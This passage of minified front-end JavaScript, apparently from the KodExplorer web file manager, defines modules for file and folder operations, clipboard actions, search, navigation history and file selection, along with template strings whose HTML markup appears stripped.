a.open").remove(),b.group&&e.find("option").eq(b.group).attr("selected",1),e.find(".aui-content").css("overflow","inherit"),d){case"userEdit":e.find(".name").addClass("hidden"),e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("option[value="+b.group+"]").attr("checked",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":e.find("option[value="+b.group+"]").attr("selected",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden")}A(e)},C=function(){core.appStore()},D=function(a){a&&a.length<4&&"http"!=a.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+a,dataType:"json",beforeSend:function(){Tips.loading()},success:function(b){var c=b.data;c=c.replace(/[\/\\]/g,"_"),Tips.close(b);var d={content:a,type:"url",desc:"",group:"others",icon:"internet.png",name:c,resize:1,simple:0,height:"70%",width:"90%"},e=urlEncode(G.thisPath+c);a=G.appHost+"app/userApp&action=add&path="+e,$.ajax({url:a,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(d))},success:function(a){Tips.close(a),a.code&&ui.f5()}})}})};return{makeJson:f,appEdit:B,appList:C,appAddURL:D,share:n,shareBox:o,setBackground:r,createLink:s,createProject:t,imageRotate:u,newFile:g,newFolder:h,rname:i,zipDownload:k,zip:l,unZip:m,info:v,remove:j,fav:y,favRemove:x}});;define("app/path/tpl/fileinfo/fileInfo.html",[],"
          \n {{if downloadPath}}\n \n
          \n {{/if}}\n\n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
          \n
          \n
          \n\n {{if fileMd5}}\n
          \n
          MD5:
          \n
          {{fileMd5}}
          \n
          \n
          \n {{/if}}\n\n {{if imageSize}}\n
          \n
          {{LNG.image_size}}:
          \n
          {{imageSize.width}} × {{imageSize.height}}
          \n
          \n
          \n {{/if}}\n\n
          \n\n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n \n {{if mode && is_root==\"1\"}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n");;define("app/path/tpl/fileinfo/pathInfo.html",[],"
          \n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}}{{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
          \n
          \n
          \n
          \n
          {{LNG.contain}}:
          \n
          {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n \n
          \n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n\n\n {{if mode && is_root==\"1\"}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n");;define("app/path/tpl/share.html",[],'
          \n
          \n
          {{LNG.share_title}}
          \n \n
          \n
          \n \n
          \n {{LNG.share_password}}:\n \n {{LNG.share_password_desc}}\n
          \n
          \n \n \n
          \n \n
          ');;define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
          \n
          \n
          {{LNG.info}}:
          \n
          \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
          \n
          \n
          \n \n {{if mode && is_root==\"1\"}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n");;define("app/path/tpl/appEdit.html",[],"
          \n
          \n
          {{LNG.name}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_desc}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_icon}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_group}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_type}}
          \n
          \n \n \n \n \n \n \n
          \n
          \n
          \n\n
          \n
          {{LNG.app_display}}
          \n
          \n \n \n \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_size}}
          \n
          \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
          \n
          \n
          \n
          \n \n \n
          {{LNG.app_url}}
          \n
          \n
          \n
          \n
          \n");;define("app/path/clipboard",[],function(a,b){var c=function(a){return ui.path.pathOperate.makeJson(a)},d=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},e=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},f=function(a,b){a&&(Tips.loading(LNG.moving),setTimeout(function(){var c=G.appHost+"explorer/pathPast&path="+urlEncode(a);$.ajax({url:c,dataType:"json",error:core.ajaxError,success:function(a){Tips.close(a.data,a.code),"function"==typeof b&&b(a.info)}})},50))},g=function(a,b,d){b&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}})},h=function(a,b,d,e){b&&(void 0==e&&(e=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/")+"&filename_auto="+Number(e),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}}))},i=function(a,b){var c="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",d="
          "+LNG.clipboard_null+"
          ";if(0!=a.length){d="
          "+LNG.clipboard_state+LNG[b]+"
          ";for(var e=40,f=0;f"+g.type+": "+h+""}d+='
          "}return d},j=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(a){a.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:i(a.data,a.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})};return{copy:d,cute:e,past:f,cuteDrag:g,copyDrag:h,clipboard:j}});;define("app/path/search",["./tpl/search.html","./tpl/searchList.html"],function(a,b){var c=a("./tpl/search.html"),d=a("./tpl/searchList.html");return function(a,b){b||(b=G.thisPath);var e,f,g=function(){var d=trim(core.pathClear(b),"/");if(0==d.indexOf(G.KOD_USER_SHARE)&&-1==d.indexOf("/")||d==G.KOD_USER_FAV||d==G.KOD_GROUP_ROOT_ALL)return void Tips.tips(LNG.path_cannot_search,!1);template.helper("searchResultPrase",j);var g=template.compile(c);0==$(".dialog-do-search").length?(e=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:g({LNG:LNG})}),f=l(),f.path=b,""!=a&&(f.search=a),$("#search-path").val(f.path),$("#search-value").val(f.search),k()):($.dialog.list["dialog-do-search"].display(!0),a&&$("#search-value").val(a),$("#search-path").val(b),i())},h=function(){return f={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},i=function(){h(),n(f)},j=function(a){var b=htmlEncode($("#search-value").val());if(a=htmlEncode(a),f.is_case)a=a.replace(b,''+b+"");else{var c=a.toLowerCase().indexOf(b.toLowerCase());a=a.substr(0,c)+''+a.substr(c,b.length)+""+a.substr(c+b.length)}return a},k=function(){$("#search-value").die("keyup").live("keyup",function(a){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(i),$(".search-header .btn").die("click").live("click",i),$(".search-result .file-item .file-info").die("click").live("click",function(a){var b=$(this).parent();return b.toggleClass("open"),b.find(".result-item").slideToggle(200),stopPP(a),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path")),d=core.pathFather(c);return core.openPath(d),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(c)},200),stopPP(a),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));return kodApp.setLastOpenTarget(b),kodApp.open(c,b.attr("data-ext")),stopPP(a),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var d=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:d,lineIndex:$(this).parent().find("[data-line="+d+"]").index($(this).find(".line"))}),kodApp.open(c,b.attr("data-ext"),"aceEditor"),stopPP(a),!1}),$(".search-header input[type=checkbox]").on("click",function(){h(),l(f)})},l=function(a){var b="box_search_config";if(void 0==a){var a=LocalData.getConfig(b);return a||(a={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(a.search).textSelect(),a.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),a.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(a.ext),a}return LocalData.setConfig(b,a)},m=function(a){var b=$(".file-items"),c=$(".search-desc");if(!a.code)return c.html(a.data),void b.html("");if(0==a.data.fileList.length&&0==a.data.folderList.length)return c.html(LNG.search_null),void b.html("");var e=template.compile(d);if(b.html(e({code:a.code,data:a.data,LNG:LNG})),f.is_content){for(var g=a.data.fileList,h=0,i=0;i"+h+"(in "+g.length+" files)
          "),a.data.error_info&&c.html(""+LNG.seach_result_too_more+"")}else c.html(a.data.fileList.length+" "+LNG.file+", "+a.data.folderList.length+LNG.folder+".")},n=function(a){l(a),$("#search-value").textFocus();var b=$(".file-items"),c=$(".search-desc");if(!a.search||!a.path)return c.html(LNG.search_info),void b.html("");var d=G.appHost+"explorer/search";"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:d,dataType:"json",type:"POST",data:a,beforeSend:function(){c.hide().html(LNG.searching+'').fadeIn(100)},error:function(a,b,d){core.ajaxError(a,b,d),c.html(LNG.error)},success:function(a){m(a)}})};g()}});;define("app/path/tpl/search.html",[],"\n\n");;define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
        • \n
          \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
          \n
            \n {{each v.searchInfo value index}}\n
          • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
          • \n {{/each}}\n
          \n
        • \n {{else}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n {{/if}}\n{{/each}}\n\n');;define("app/path/path",["./pathOperate","./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/share.html","./tpl/fileinfo/pathInfoMore.html","./tpl/appEdit.html","./clipboard","./search","./tpl/search.html","./tpl/searchList.html","./tpl/file/create.html"],function(a,b){var c=a("./pathOperate"),d=a("./clipboard"),e=a("./search"),f=void 0,g=function(){if(_.get(G,"jsonData.info.pathType")==G.KOD_USER_RECYCLE||_.get(G,"jsonData.info.pathType")==G.KOD_USER_SHARE)return!0;if(ui.fileLight){var a=ui.fileLight.fileListSelect();if(a.hasClass("systemBox"))return Tips.tips(LNG.path_can_not_action,"warning"),!1}return!0},h=function(a,b,c,d){if(a){if(!core.isApp("explorer"))return void core.explorer(a);if(a==G.thisPath)return void(void 0!=b&&""!=b&&Tips.tips(LNG.path_is_current,"info"));G.thisPath=a.replace(/\\/g,"/"),G.thisPath=a.replace(/\/+/g,"/"),"/"!=G.thisPath.substr(G.thisPath.length-1)&&(G.thisPath+="/");var e=$(".dialog-file-upload");if(e.length>0){var f="none"==e.css("display")||"hidden"==e.css("visibility");f||core.upload()}if("undefined"!=typeof G.sid&&(window.location.href="#"+urlEncode(G.thisPath)),core.playSound("folder_open"),d||ui.path.history.add(G.thisPath),"split"==G.userConfig.listType){var g=$(".split-box .file[data-path="+pathHashEncode(G.thisPath)+"]");if(0!=g.length&&0!=g.find(".children-more-cert").length)return void g.click();$(".file-list-split .split-box").remove()}ui.f5Callback(function(){"function"==typeof c&&c()})}},i=function(){var a=[],b=60,c=0,d=function(d){var e=a.length-1;return e==c&&a[e]==d?g():(c!=e&&(a=a.slice(0,c+1)),a[a.length-1]!=d&&a.push(d),a.length>=b&&(a=a.slice(1)),c=a.length-1,void g())},e=function(){c+1<=a.length-1&&(h(a[++c],"","",!0),g())},f=function(){c-1>=0&&(h(a[--c],"","",!0),g())},g=function(){var b="disable",d=a.length-1;$("#btn-history-next").addClass(b),$("#btn-history-back").addClass(b),(0!=c||0!=d)&&(c>0&&d>=c&&$("#btn-history-back").removeClass(b),c>=0&&c!=d&&$("#btn-history-next").removeClass(b))};return{add:d,back:f,next:e,list:function(){return a}}}(),j=function(a){if(void 0!=a){"string"==typeof a&&(a=[a]);for(var b=0;b";"icon"==G.userConfig.listType&&(i="",b.css({height:b.height()})),$(b).addClass("file-icon-edit").find(".title").html("
          "+i+"
          ");var j=$("#pathRenameTextarea");"split"==G.userConfig.listType&&j.css({width:j.parents(".filename").width()-32,height:j.parents(".filename").height()+1});var k=d.length;"folder"!=f&&-1!=d.indexOf(".")&&(k=d.length-f.length-1),f||0!=d.indexOf(".")?j.textSelect(0,k):j.textSelect(0,d.length);var l=function(g){"oexe"==f&&(g+=".oexe");if(g!=d)a=e+d,g=e+g,c.rname(a,g,function(a){a===!1?$(b).removeClass("file-icon-edit").find(".title").html(htmlEncode(d)):r(a)});else{var h=d;".oexe"==h.substr(-5)&&(h=h.substr(0,h.length-5)),$(b).removeClass("file-icon-edit").find(".title").html(htmlEncode(h))}};j.focus().autoTextarea(),j.keydown(function(a){13==a.keyCode&&(a.preventDefault(),stopPP(a),l(j.attr("value"))),27==a.keyCode&&("oexe"==f&&(d=d.replace(".oexe","")),$(b).removeClass("file-icon-edit").find(".title").html(d))}).unbind("blur").blur(function(){l(j.val())})}},r=function(a){ui.fileLight.clear(),ui.f5Callback(function(){j(a),core.isApp("explorer")&&ui.tree.checkIfChange(G.thisPath)})},s=function(a){var b={},c=[];a.sort(function(a,b){return a.path==b.path?0:a.path>b.path?1:-1});for(var d=function(a){for(var c=a;""!=a;){if("undefined"!=typeof b[a])return 1==b[a]?!0:c==a?(b[a]=1,!1):!0;a=core.pathFather(a)}return!1},e=0;e1?c.zipDownload(a):$.each(a,function(){kodApp.download(this.path)})},shareEdit:function(){var a=u("path",t().path);try{var b=G.jsonData.shareList[a.sid];c.shareBox(b)}catch(d){}},shareOpenWindow:function(){var a=u("path",t().path),b="file";"folder"==a.type&&(b=1==a.codeRead?"codeRead":"folder");var c=G.appHost+"share/"+b+"&user="+G.jsonData.info.id+"&sid="+a.sid;window.open(c)},shareOpenPath:function(){var a=t(),b=u("path",a.path);if(!b||!G.jsonData.shareList)return void kodApp.open(a.path,a.type);var c=G.jsonData.shareList[b.sid],d=core.pathFather(c.path),e=core.pathThis(c.path);"folder"==c.type?ui.path.list(c.path,""):ui.path.list(d,"",function(){j(e)})},explorer:function(){core.explorer(t().path)},explorerNew:function(){window.open(G.appHost+"explorer&path="+t().path)},openProject:function(){core.explorerCode(t().path)},search:function(a,b){return a?void e(a,b):void e("",t().path)},fav:function(){var a=t(),b=ui.fileLight.fileListSelect().last();a.name=trim(b.find(".filename").text()),c.fav(a)},recycleClear:function(){c.remove([{type:"recycle-clear",path:""}],function(){ui.f5()})},remove:function(a,b,d){if(G.jsonData.info&&g()){var e=t(!0);G.jsonData.info&&G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id==G.userID&&-1==trim(G.thisPath,"/").indexOf("/")&&$.each(e,function(a,b){var c=u("path",e[a].path);void 0!=c&&(e[a].type="share",e[a].path=c.sid)}),d?c.remove(e,d,a,b):c.remove(e,r,a,b)}},favRemove:function(){var a=$(".file.select .filename");a.each(function(b){var d=trim($(this).text());b!=a.length-1?c.favRemove(d,"",!0):c.favRemove(d,function(a){Tips.tips(a),ui.tree.refreshFav()},!0)})},clipboard:function(){d.clipboard()},copy:function(){g()&&d.copy(t(!0))},cute:function(){g()&&d.cute(t(!0),ui.f5)},cuteDrag:function(a){d.cuteDrag(t(!0),a,r)},copyDrag:function(a,b){d.copyDrag(t(!0),a,r,b)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(a){d.copyDrag(t(!0),a,r,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(a){d.cuteDrag(t(!0),a,r)})},past:function(){var a=G.thisPath;"split"==G.userConfig.listType&&($containBox=$(".split-box.split-select"),1==$containBox.length&&(a=ui.fileLight.path($containBox))),d.past(a,r)},info:function(){c.info(t(!0))},newFile:function(a){void 0==a&&(a="txt"),p("file",n(LNG.newfile,a),a)},newFolder:function(){p("folder",n(LNG.newfolder),"")},shareFile:function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(t().path);window.open(a)},rname:q,list:h,setSearchByStr:l,setSelectByChar:k,setSelectByFilename:j}});;define("app/path/tpl/file/create.html",[],"
          \n {{if listType=='list'}}{{/if}}\n
          \n \n {{if type=='folder'}}\n
          {{\"folder\" | kod.core.icon}}
          \n {{else}}\n
          {{ext | kod.core.icon}}
          \n {{/if}}\n
          \n {{if listType=='icon'}}\n \n {{else}}\n \n {{/if}}\n
          \n
          \n
          \n
          \n
          \n");;define("app/src/explorer/fileLight",[],function(a,b){var c=$(),d=$(),e=function(){var a;a="split"!=G.userConfig.listType?$(".bodymain .file-continer .file"):$(".bodymain .file-continer .split-select .file"),d=a,p("clear"),Hook.trigger("explorer.fileSelect.init",this)},f=function(){var a=$(Config.SelectClass);c=a,a.length>1&&l(a),p("menu-file"),Hook.trigger("explorer.fileSelect.change",this)},g=function(){if(G.jsonData&&G.jsonData.fileList){var a=G.jsonData.fileList.length+G.jsonData.folderList.length;$(".file-select-info .item-num").html(a+LNG.folder_info_item)}},h=function(){var a="",b=0,d=c;0!=d.length&&(a=d.length+LNG.folder_info_item_select,d.each(function(){b+=parseInt($(this).attr("data-size"))}),0!=b&&(a=a+" ("+pathTools.fileSize(b)+")")),$(".file-select-info .item-select").html(a)},i=function(a){var b=c;if(void 0==a&&b&&b.length>=1&&(a=$(b[b.length-1])),void 0!=a&&!a.inScreen()){var d=$(".bodymain");"split"==G.userConfig.listType&&(d=a.parent());var e=a.offset().top-d.offset().top-d.height()/2+d.scrollTop();d.stop(!0).animate({scrollTop:e},100)}},j=function(a){return core.pathThis(q(a))},k=function(a){return a.find(".ico").attr("filetype")},l=function(a){if(G.jsonData.info)switch(G.jsonData.info.pathType){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return void a.removeClass("menu-fav-path").addClass("menu-fav-path-more");case G.KOD_USER_SHARE:if(-1==trim(G.thisPath,"/").search("/"))return void a.removeClass("menu-share-path").addClass("menu-share-path-more");case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return void a.removeClass("menu-group-root").addClass("menu-group-root-more")}a.removeClass("menu-file menu-folder").addClass("menu-more"),p()},m=function(a){var b={"file-box":"menu-file","folder-box":"menu-folder","menu-recycle-path":"menu-recycle-path","menu-share-path-more":"menu-share-path","menu-fav-path-more":"menu-fav-path","menu-group-root-more":"menu-group-root","menu-default":"menu-default"};a.removeClass("menu-more");for(var c in b)a.hasClass(c)&&a.addClass(b[c]);p()},n=function(){var a=[];if(0!=c.length)return c.each(function(){a.push(q($(this)))}),a},o=function(){if(0!=c.length){var a=c;a.removeClass(Config.SelectClassName),a.each(function(){m($(this))}),c=$(),p(),Hook.trigger("explorer.fileSelect.change",this)}},p=function(){0==c.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},q=function(a,b){return void 0==b&&(b="data-path"),void 0!=a.attr("data-path-children")&&(b="data-path-children"),pathHashDecode(a.attr(b))};return{init:e,name:j,path:q,type:k,fileListSelect:function(a){return a&&(c=a),c},fileListAll:function(a){return a&&(d=a),d},select:f,setInView:i,listNumberSet:g,selectNumSet:h,setMenu:l,resumeMenu:m,getAllName:n,clear:o,menuAction:p}});;define("app/src/explorer/fileSelect",[],function(a,b){var c,d=!1,e=!1,f=!1,g=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(a,b,c,d){var e=$(a.target);e.hasClass("item-menu")||e.parent().hasClass("item-menu")||e.hasClass("item-select")||e.parent().hasClass("item-select")||e.parents(".children-more").exists()||($(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select()))}),$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(a){e&&j(!0,$(this)),d||e||$(this).addClass(Config.HoverClassName),$(this).unbind("mousedown").bind("mousedown",function(a){if($(a.target).is("input")||$(a.target).is("textarea"))return!0;if($(this).focus(),$.contextMenu.hidden(),$(a.target).parents(".children-more").exists())return ui.fileContent.pathChildrenTree($(this)),stopPP(a),!1;if($(a.target).hasClass("item-menu")||$(a.target).parent().hasClass("item-menu"))return $(this).hasClass(Config.SelectClassName)?void 0:(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0);if(!$(a.target).hasClass("item-select")&&!$(a.target).parent().hasClass("item-select")){if(!(a.ctrlKey||a.metaKey||a.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=a.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(a.ctrlKey||a.metaKey)&&($(this).hasClass(Config.SelectClassName)?f=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),a.shiftKey){var b=w.fileListAll($(this)),c=w.fileListSelect($(this)),d=b.index($(this));if(0==c.length)D(0,d,b);else{var e=b.index(c.first()),g=b.index(c.last());e>d?D(d,g,b):d>g?D(e,d,b):D(e,d,b)}}return!0}}).unbind("mouseup").bind("mouseup",function(a){return $(".file-select-drag-temp").removeClass("file-select-drag-temp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),e&&j(!1,$(this))}).die("click").live("click",function(a){if(stopPP(a),e)return!1;if($(a.target).hasClass("item-menu")||$(a.target).parent().hasClass("item-menu")){var b=$(this).find(".item-menu");return $(this).contextMenu({x:b.offset().left+b.width(),y:b.offset().top}),!0}return $(a.target).hasClass("item-select")||$(a.target).parent().hasClass("item-select")?($(this).toggleClass(Config.SelectClassName),ui.fileLight.select(),!0):0!=$(this).find(".textarea").length?!0:0!=$(".file-draging-box").length?!0:void(a.ctrlKey||a.metaKey||a.shiftKey?(a.ctrlKey||a.metaKey)&&f&&(f=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),o($(this))))}),$(Config.FileBoxClass).myDbclick(function(a){var b=$(a.target);if(b.is("textarea")||b.is("input")||b.hasClass("children-more")||b.hasClass("children-more-cert")||b.hasClass("item-menu")||b.parent().hasClass("item-menu")||b.hasClass("item-select")||b.parent().hasClass("item-select"))return!0;if(b.hasClass("db-click-rename")){var c=b.parents(".file");return c.hasClass("systemBox"),ui.path.rname(),!0}if(a.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return!0;if("split"==G.userConfig.listType&&n($(this))){var d=ui.fileLight.path($(this));return G.thisPath="",$(".file-list-split .split-box").remove(),ui.path.list(d),!0}ui.path.open()}}),k(),l(),m()},h=1e3,i=function(a){$(".file-select-drag-temp").flash(2,100),setTimeout(function(){if("list"==G.userConfig.listType){if($(".file-select-drag-temp .children-more-cert").hasClass("cert-open"))return;ui.fileContent.pathChildrenTree(a)}else if("split"==G.userConfig.listType)o(a);else if("icon"==G.userConfig.listType){var b=ui.fileLight.path(a);ui.path.list(b)}},300)},j=function(a,b){var d="file-select-drag-temp";a?!b.hasClass(Config.TypeFolderClass)&&!b.hasClass("menu-recycle-button")||b.hasClass(Config.SelectClassName)||($("."+d).removeClass(d),b.addClass(d),$(".children-list-dropover").removeClass("children-list-dropover"),$(".file-select-over-temp").removeClass("file-select-over-temp"),c=setTimeout(function(){i(b)},h)):(b.removeClass(d),clearTimeout(c),c=!1)},k=function(){var a;$("#folder-list-tree a").die("mouseenter").live("mouseenter",function(b){if(e){($(this).hasClass("menu-tree-folder")||$(this).hasClass("menu-tree-folder-fav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(a),a=!1;var c=ui.tree.zTree(),d=c.getNodeByTId($(this).parent().attr("id"));!d.open&&d.isParent&&(a=setTimeout(function(){c.expandNode(d,!0)},h))}}).die("mouseup").live("mouseup",function(){if(e){$(this).removeClass("curDropTreeNode"),clearTimeout(a),a=!1;var b=ui.tree.zTree(),c=b.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){c.isParent=!0,b.reAsyncChildNodes(c,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){e&&($(this).removeClass("curDropTreeNode"),clearTimeout(a),a=!1)})},l=function(){var a;$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(b){e&&($(this).addClass("curDropToPath"),a=setTimeout(function(){var a=$(".curDropToPath");a.flash(2,100),setTimeout(function(){ui.path.list(a.attr("data-path"))},300)},h))}).die("mouseup mouseleave").live("mouseup mouseleave",function(){e&&($(this).removeClass("curDropToPath"),clearTimeout(a),a=!1)})},m=function(){var a=function(a,b,c){if(e&&"list"==G.userConfig.listType){$(".file-select-over-temp").removeClass("file-select-over-temp");var d="children-list-dropover";if(b){if($(".file-select-drag-temp").exists())return void $("."+d).removeClass(d);$("."+d).not(a).removeClass(d),a.addClass(d),a.prev().hasClass("file")&&a.prev().addClass("file-select-over-temp")}else a.removeClass(d)}};$(".menu-body-main").bind("mouseover",function(b){a($(this),!0,b)}).bind("mouseup mouseleave",function(b){a($(this),!1,b)}),$(".children-list").die("mouseover").live("mouseover",function(b){a($(this),!0,b),stopPP(b)}).die("mouseup mouseleave").live("mouseup mouseleave",function(b){a($(this),!1,b)})},n=function(a){return"icon"==G.userConfig.listType?a.hasClass("folder-box")||a.hasClass("menu-recycle-button")?!0:!1:"list"==G.userConfig.listType?a.hasClass("folder-box")||a.hasClass("menu-recycle-button")||0!=a.find(".children-more-cert").length?!0:!1:"split"==G.userConfig.listType?a.hasClass("folder-box")||a.hasClass("menu-recycle-button")||0!=a.find(".children-more-cert").length?!0:!1:void 0},o=function(a){if("split"==G.userConfig.listType&&n(a)){var b=ui.fileLight.path(a);ui.path.history.add(b),ui.fileContent.pathChildrenSplit(b,function(){q(b)})}},p=function(){var a=".file-list-split 